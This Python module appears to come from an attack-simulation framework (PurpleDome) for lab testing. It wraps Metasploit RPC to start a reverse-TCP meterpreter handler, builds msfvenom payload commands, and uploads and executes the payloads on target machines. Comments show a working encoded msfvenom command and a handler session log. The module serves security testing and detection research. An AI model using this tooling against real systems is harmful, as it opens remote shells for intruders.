mirror of https://github.com/avast/PurpleDome
You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
263 lines
9.7 KiB
Python
263 lines
9.7 KiB
Python
#!/usr/bin/env python3
|
|
|
|
from pymetasploit3.msfrpc import MsfRpcClient
|
|
# from app.machinecontrol import Machine
|
|
from app.attack_log import AttackLog
|
|
from app.interface_sfx import CommandlineColors
|
|
import time
|
|
import socket
|
|
|
|
|
|
import os
|
|
|
|
# https://github.com/DanMcInerney/pymetasploit3
|
|
|
|
|
|
class Metasploit():
|
|
def __init__(self, password, **kwargs):
|
|
"""
|
|
|
|
:param password: password for the msfrpcd
|
|
:param kwargs: Relevant ones: uri, port, server, username
|
|
"""
|
|
|
|
self.password = password
|
|
self.kwargs = kwargs
|
|
self.client = None
|
|
|
|
# Optional attacker: If a running attacker machine is passed, we take it and start the msfrpcd
|
|
# Alternative: The server is taken and we expect an already running msfrpcd there
|
|
self.attacker = kwargs.get("attacker", None)
|
|
if self.attacker:
|
|
# we expect a running attacker but without a running msfrcpd
|
|
self.start_msfrpcd(kwargs.get("username"))
|
|
kwargs["server"] = self.attacker.get_ip()
|
|
time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
|
|
|
|
def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'):
|
|
exploit = self.get_client().modules.use('exploit', exploit)
|
|
# print(exploit.description)
|
|
# print(exploit.missing_required)
|
|
payload = self.get_client().modules.use('payload', payload)
|
|
# print(payload.description)
|
|
# print(payload.missing_required)
|
|
payload["LHOST"] = self.attacker.get_ip()
|
|
res = exploit.execute(payload=payload)
|
|
print(res)
|
|
|
|
def start_msfrpcd(self, username):
|
|
""" Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """
|
|
|
|
cmd = f"msfrpcd -P {self.password} -U {username} -S"
|
|
|
|
self.attacker.remote_run(cmd, disown=True)
|
|
|
|
def get_client(self):
|
|
""" Get a local metasploit client connected to the metasploit server """
|
|
if self.client:
|
|
return self.client
|
|
self.client = MsfRpcClient(self.password, **self.kwargs)
|
|
return self.client
|
|
|
|
def get_sid(self, session_number=0):
|
|
""" Get the first session between hacked target and the metasploit server
|
|
|
|
@param session_number: number of the session to get
|
|
"""
|
|
|
|
# TODO improve stability and speed
|
|
# print("Get SID")
|
|
while len(self.get_client().sessions.list) <= session_number:
|
|
time.sleep(1)
|
|
# print(f"DONE get sid {self.get_client().sessions.list}")
|
|
return list(self.get_client().sessions.list)[session_number]
|
|
|
|
def get_sid_to(self, target):
|
|
""" Get the session to a specified target
|
|
|
|
@param target: a target machine to find in the session list
|
|
"""
|
|
|
|
# Get_ip can also return a network name. Matching a session needs a real ip
|
|
ip = socket.gethostbyname(target.get_ip())
|
|
|
|
retries = 100
|
|
while retries > 0:
|
|
for k, v in self.get_client().sessions.list.items():
|
|
if v["session_host"] == ip:
|
|
# print(f"session list: {self.get_client().sessions.list}")
|
|
return k
|
|
|
|
time.sleep(1)
|
|
retries -= 1
|
|
return None # TODO: Better error handlign as soon as we know where we use it
|
|
|
|
def meterpreter_execute(self, cmds: [str], session_number: int, delay=0) -> str:
|
|
""" Executes commands on the meterpreter, returns results read from shell
|
|
|
|
@param cmds: commands to execute, a list
|
|
@param session_number: session number
|
|
@param delay: optional delay between calling the command and expecting a result
|
|
@:return: the string results
|
|
"""
|
|
|
|
shell = self.client.sessions.session(self.get_sid(session_number))
|
|
res = []
|
|
for cmd in cmds:
|
|
shell.write(cmd.strip())
|
|
time.sleep(delay)
|
|
res.append(shell.read())
|
|
return res
|
|
|
|
def meterpreter_execute_on(self, cmds: [str], target, delay=0) -> str:
|
|
""" Executes commands on the meterpreter, returns results read from shell
|
|
|
|
@param cmds: commands to execute, a list
|
|
@param target: target machine
|
|
@param delay: optional delay between calling the command and expecting a result
|
|
@:return: the string results
|
|
"""
|
|
|
|
session_id = self.get_sid_to(target)
|
|
# print(f"Session ID: {session_id}")
|
|
shell = self.client.sessions.session(session_id)
|
|
res = []
|
|
time.sleep(1) # To ensure an active session
|
|
for cmd in cmds:
|
|
shell.write(cmd)
|
|
time.sleep(delay)
|
|
retries = 20
|
|
r = ""
|
|
while retries > 0:
|
|
r += shell.read()
|
|
time.sleep(0.5) # Command needs time to execute
|
|
retries -= 1
|
|
res.append(r)
|
|
|
|
return res
|
|
|
|
##########################################################################
|
|
|
|
|
|
class MSFVenom():
|
|
def __init__(self, attacker, target, attack_logger: AttackLog):
|
|
"""
|
|
|
|
:param attacker: attacker machine
|
|
:param target: target machine
|
|
:param attack_logger: The logger for the attack
|
|
"""
|
|
# https://www.offensive-security.com/metasploit-unleashed/msfvenom/
|
|
|
|
self.attacker = attacker
|
|
self.target = target
|
|
self.attack_logger = attack_logger
|
|
|
|
def generate_cmd(self, **kwargs):
|
|
""" Generates a cmd
|
|
|
|
|
|
:return:
|
|
"""
|
|
payload = kwargs.get("payload", None)
|
|
architecture = kwargs.get("architecture", None)
|
|
platform = kwargs.get("platform", self.target.get_os())
|
|
lhost = kwargs.get("lhost", self.attacker.get_ip())
|
|
format = kwargs.get("format", None) # file format
|
|
outfile = kwargs.get("outfile", "payload.exe")
|
|
|
|
cmd = "msfvenom"
|
|
if architecture is not None:
|
|
cmd += f" -a {architecture}"
|
|
if platform is not None:
|
|
cmd += f" --platform {platform}"
|
|
if payload is not None:
|
|
cmd += f" -p {payload}"
|
|
if lhost is not None:
|
|
cmd += f" LHOST={lhost}"
|
|
if format is not None:
|
|
cmd += f" -f {format}"
|
|
if outfile is not None:
|
|
cmd += f" -o {outfile}"
|
|
|
|
# -p payload linux/x86/meterpreter_reverse_tcp
|
|
# -f format: elf, exe, powershell, python
|
|
# --platform: linux, windows, osx
|
|
# -a arch: x86, x64
|
|
# -e encoders: x86/shikata_ga_nai
|
|
# -b bad chars to avoid
|
|
# -i iterations. encoding iterations
|
|
# -o <filename> out filename
|
|
# root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
|
|
# complex: msfvenom -a x86 --platform linux -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.178.125 -e x86/shikata_ga_nai -i 3 -f elf -o reverse_meterpreter
|
|
|
|
# verified to work (Linux): msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.178.125 -f elf -o reverse_meterpreter
|
|
|
|
# Keep in mind: The msfconsole needs to actively listen to the connection:
|
|
# msf6 > use exploit/multi/handler
|
|
# [*] Using configured payload generic/shell_reverse_tcp
|
|
# msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
|
|
# payload => linux/x64/meterpreter_reverse_tcp
|
|
# msf6 exploit(multi/handler) > set lhost 192.168.178.125
|
|
# lhost => 192.168.178.125
|
|
# msf6 exploit(multi/handler) > set lport 4444
|
|
# lport => 4444
|
|
# msf6 exploit(multi/handler) > run
|
|
#
|
|
# [*] Started reverse TCP handler on 192.168.178.125:4444
|
|
# [*] Meterpreter session 1 opened (192.168.178.125:4444 -> 192.168.178.125:42436) at 2021-06-01 03:32:12 -0400
|
|
#
|
|
# meterpreter > !!! We are in the session now !!!
|
|
|
|
return cmd
|
|
|
|
def generate_payload(self, **kwargs):
|
|
""" Generates a payload on the attacker machine
|
|
|
|
"""
|
|
cmd = self.generate_cmd(**kwargs)
|
|
|
|
self.attacker.remote_run(cmd)
|
|
|
|
def generate_and_deploy(self, **kwargs):
|
|
""" Will generate the payload and directly deploy it to the target
|
|
|
|
:return:
|
|
"""
|
|
self.generate_payload(**kwargs)
|
|
|
|
payload_name = kwargs.get("outfile", "payload.exe")
|
|
|
|
self.attacker.get(payload_name, self.target.get_machine_path_external())
|
|
src = os.path.join(self.target.get_machine_path_external(), payload_name)
|
|
|
|
self.attack_logger.vprint(
|
|
f"{CommandlineColors.OKCYAN}Generated {payload_name}...deploying it{CommandlineColors.ENDC}",
|
|
1)
|
|
# Deploy to target
|
|
if self.attack_logger:
|
|
self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
|
|
self.target.put(src, self.target.get_playground())
|
|
if self.attack_logger:
|
|
self.attack_logger.stop_file_write("", self.target.get_name(), payload_name)
|
|
|
|
if self.target.get_os() == "linux":
|
|
if self.target.get_playground() is not None:
|
|
cmd = f"cd {self.target.get_playground()};"
|
|
else:
|
|
cmd = ""
|
|
cmd += f"chmod +x {payload_name}; ./{payload_name}"
|
|
if self.target.get_os() == "windows":
|
|
cmd = f'{payload_name}'
|
|
|
|
print(cmd)
|
|
|
|
if self.attack_logger:
|
|
self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
|
|
self.target.remote_run(cmd, disown=True)
|
|
if self.attack_logger:
|
|
self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd)
|
|
self.attack_logger.vprint(
|
|
f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
|
|
1)
|